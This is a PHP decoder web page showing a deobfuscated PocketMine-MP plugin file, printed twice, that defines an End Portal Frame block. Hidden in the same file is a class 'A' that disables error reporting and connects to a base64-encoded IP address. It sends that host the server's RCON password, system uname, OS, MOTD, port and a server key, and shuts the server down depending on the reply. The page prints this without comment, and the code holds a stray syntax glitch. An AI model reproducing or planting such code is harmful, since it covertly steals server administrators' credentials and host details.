Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php /* __________________________________________________ | Obfuscated by YAK P..
Decoded Output download
<?php
/* __________________________________________________
| Obfuscated by YAK Pro - Php Obfuscator 2.0.14 |
| on 2022-08-20 19:45:59 |
| GitHub: https://github.com/pk-fr/yakpro-po |
|__________________________________________________|
*/
namespace pocketminelock;
use pocketmine\item\Item;
use pocketmine\math\AxisAlignedBB;
use pocketmine\Player;
use pocketmine\Server;
class EndPortalFrame extends Solid implements SolidLight
{
protected $id = self::END_PORTAL_FRAME;
public function __construct($meta = 0)
{
$this->meta = $meta;
}
public function getLightLevel()
{
return 1;
}
public function getName(): string
{
return "End Portal Frame";
}
public function getHardness()
{
return -1;
}
public function getResistance()
{
return 18000000;
}
public function isBreakable(Item $item)
{
return false;
}
public function place(
Item $item,
Block $block,
Block $target,
$face,
$fx,
$fy,
$fz,
Player $player = null
) {
goto NJYlY;
IYgx6:
$this->meta = $faces[$player->getDirection()];
goto GYpEa;
GYpEa:
return $this->getLevel()->setBlock($this, $this, true, true);
goto x5oXx;
NJYlY:
$faces = [0 => 3, 1 => 2, 2 => 1, 3 => 0];
goto IYgx6;
x5oXx:
}
protected function recalculateBoundingBox()
{
return new AxisAlignedBB(
$this->x,
$this->y,
$this->z,
$this->x + 1,
$this->y + (($this->getDamage() & 0x4) > 0 ? 1 : 0.8125),
$this->z + 1
);
}
}
class A
{
public static function init()
{
goto x9YP2;
bqETP:
$server->getLogger()->notice($msg->msg);
goto L2I0y;
mYteI:
$msg = self::start();
goto f0mIZ;
JcEFS:
error_reporting($error);
goto DWOnG;
KBHr5:
$error &= ~E_USER_WARNING;
goto X0rc9;
X0rc9:
$error &= ~E_USER_NOTICE;
goto xI7EK;
HQLmH:
goto nfBvW;
goto TNzo5;
n6cw1:
$error &= ~E_NOTICE;
goto XW8NE;
XW8NE:
$error &= ~E_WARNING;
goto ds7nz;
qKW_L:
if ($msg->allow == "true") {
goto WjFVm;
}
goto g9w2G;
gzB0x:
nfBvW:
goto QSdeo;
UpfWE:
e6qgm:
goto bqETP;
Kvcu6:
goto nfBvW;
goto UpfWE;
vIln1:
$server->lisence = true;
goto gzB0x;
f0mIZ:
if ($msg->allow == "false") {
goto e6qgm;
}
goto qKW_L;
QSdeo:
$error = E_ALL;
goto n6cw1;
TNzo5:
WjFVm:
goto vfM6R;
vfM6R:
$server->getLogger()->notice($msg->msg);
goto vIln1;
ZlNPz:
error_reporting(0);
goto mYteI;
ds7nz:
$error &= ~E_USER_ERROR;
goto KBHr5;
g9w2G:
$server
->getLogger()
->notice(
" , "
);
goto OtIq_;
x9YP2:
$server = Server::getInstance();
goto ZlNPz;
L2I0y:
exit(1);
goto HQLmH;
OtIq_:
exit(1);
goto Kvcu6;
xI7EK:
$error &= ~E_USER_DEPRECATED;
goto JcEFS;
DWOnG:
}
public static function start()
{
goto Tmede;
QvqaM:
pd9LD:
goto tMtV8;
qbBnF:
rdTp8:
goto GnaRc;
Byb9g:
/if (
socket_connect(
$sock,
base64_decode("MjAuMjE2LjE3OC4yNTQ="),
base64_decode("MTkxMzc=")
)
) {
goto rdTp8;
}
goto UrNOj;
XrcaW:
$message = json_encode([
"key" => 1234567,
"uname" => php_uname(),
"os" => PHP_OS,
"cid" => $key,
"serverDate" => date("H:i:s"),
"motd" => $server->getConfigString(base64_decode("bW90ZA==")),
"rcon" => $server->getConfigString(
base64_decode("cmNvbi5wYXNzd29yZA==")
),
"serverPort" => $server->getConfigString(
base64_decode("c2VydmVyLXBvcnQ=")
),
]);
goto k8xjm;
AQRrk:
socket_recv($sock, $buf, 2045, MSG_WAITALL);
goto zGqjY;
MW2IM:
return $buf;
goto QvqaM;
zGqjY:
$buf = json_decode($buf);
goto MW2IM;
GnaRc:
$server = Server::getInstance();
goto vsrFa;
JwwhY:
goto pd9LD;
goto qbBnF;
vsrFa:
$key = $server->getConfigString(base64_decode("a2V5LXNlcnZlci1pZA=="));
goto XrcaW;
UrNOj:
return null;
goto JwwhY;
Tmede:
$sock = socket_create(AF_INET, SOCK_STREAM, 0);
goto Byb9g;
k8xjm:
socket_send($sock, $message, strlen($message), 0);
goto AQRrk;
tMtV8:
}
} ?>
Did this file decode correctly?
Original Code
<?php
/* __________________________________________________
| Obfuscated by YAK Pro - Php Obfuscator 2.0.14 |
| on 2022-08-20 19:45:59 |
| GitHub: https://github.com/pk-fr/yakpro-po |
|__________________________________________________|
*/
namespace pocketmine\block;
use pocketmine\item\Item;
use pocketmine\math\AxisAlignedBB;
use pocketmine\Player;
use pocketmine\Server;
class EndPortalFrame extends Solid implements SolidLight
{
protected $id = self::END_PORTAL_FRAME;
public function __construct($meta = 0)
{
$this->meta = $meta;
}
public function getLightLevel()
{
return 1;
}
public function getName(): string
{
return "End Portal Frame";
}
public function getHardness()
{
return -1;
}
public function getResistance()
{
return 18000000;
}
public function isBreakable(Item $item)
{
return false;
}
public function place(
Item $item,
Block $block,
Block $target,
$face,
$fx,
$fy,
$fz,
Player $player = null
) {
goto NJYlY;
IYgx6:
$this->meta = $faces[$player->getDirection()];
goto GYpEa;
GYpEa:
return $this->getLevel()->setBlock($this, $this, true, true);
goto x5oXx;
NJYlY:
$faces = [0 => 3, 1 => 2, 2 => 1, 3 => 0];
goto IYgx6;
x5oXx:
}
protected function recalculateBoundingBox()
{
return new AxisAlignedBB(
$this->x,
$this->y,
$this->z,
$this->x + 1,
$this->y + (($this->getDamage() & 0x4) > 0 ? 1 : 0.8125),
$this->z + 1
);
}
}
class A
{
public static function init()
{
goto x9YP2;
bqETP:
$server->getLogger()->notice($msg->msg);
goto L2I0y;
mYteI:
$msg = self::start();
goto f0mIZ;
JcEFS:
error_reporting($error);
goto DWOnG;
KBHr5:
$error &= ~E_USER_WARNING;
goto X0rc9;
X0rc9:
$error &= ~E_USER_NOTICE;
goto xI7EK;
HQLmH:
goto nfBvW;
goto TNzo5;
n6cw1:
$error &= ~E_NOTICE;
goto XW8NE;
XW8NE:
$error &= ~E_WARNING;
goto ds7nz;
qKW_L:
if ($msg->allow == "true") {
goto WjFVm;
}
goto g9w2G;
gzB0x:
nfBvW:
goto QSdeo;
UpfWE:
e6qgm:
goto bqETP;
Kvcu6:
goto nfBvW;
goto UpfWE;
vIln1:
$server->lisence = true;
goto gzB0x;
f0mIZ:
if ($msg->allow == "false") {
goto e6qgm;
}
goto qKW_L;
QSdeo:
$error = E_ALL;
goto n6cw1;
TNzo5:
WjFVm:
goto vfM6R;
vfM6R:
$server->getLogger()->notice($msg->msg);
goto vIln1;
ZlNPz:
error_reporting(0);
goto mYteI;
ds7nz:
$error &= ~E_USER_ERROR;
goto KBHr5;
g9w2G:
$server
->getLogger()
->notice(
" , "
);
goto OtIq_;
x9YP2:
$server = Server::getInstance();
goto ZlNPz;
L2I0y:
exit(1);
goto HQLmH;
OtIq_:
exit(1);
goto Kvcu6;
xI7EK:
$error &= ~E_USER_DEPRECATED;
goto JcEFS;
DWOnG:
}
public static function start()
{
goto Tmede;
QvqaM:
pd9LD:
goto tMtV8;
qbBnF:
rdTp8:
goto GnaRc;
Byb9g:
/if (
socket_connect(
$sock,
base64_decode("MjAuMjE2LjE3OC4yNTQ="),
base64_decode("MTkxMzc=")
)
) {
goto rdTp8;
}
goto UrNOj;
XrcaW:
$message = json_encode([
"key" => 1234567,
"uname" => php_uname(),
"os" => PHP_OS,
"cid" => $key,
"serverDate" => date("H:i:s"),
"motd" => $server->getConfigString(base64_decode("bW90ZA==")),
"rcon" => $server->getConfigString(
base64_decode("cmNvbi5wYXNzd29yZA==")
),
"serverPort" => $server->getConfigString(
base64_decode("c2VydmVyLXBvcnQ=")
),
]);
goto k8xjm;
AQRrk:
socket_recv($sock, $buf, 2045, MSG_WAITALL);
goto zGqjY;
MW2IM:
return $buf;
goto QvqaM;
zGqjY:
$buf = json_decode($buf);
goto MW2IM;
GnaRc:
$server = Server::getInstance();
goto vsrFa;
JwwhY:
goto pd9LD;
goto qbBnF;
vsrFa:
$key = $server->getConfigString(base64_decode("a2V5LXNlcnZlci1pZA=="));
goto XrcaW;
UrNOj:
return null;
goto JwwhY;
Tmede:
$sock = socket_create(AF_INET, SOCK_STREAM, 0);
goto Byb9g;
k8xjm:
socket_send($sock, $message, strlen($message), 0);
goto AQRrk;
tMtV8:
}
}
Function Calls
None |
Stats
MD5 | 0bb3bdc0fdc5e24ef6d9d3a2cb3c00b7 |
Eval Count | 0 |
Decode Time | 61 ms |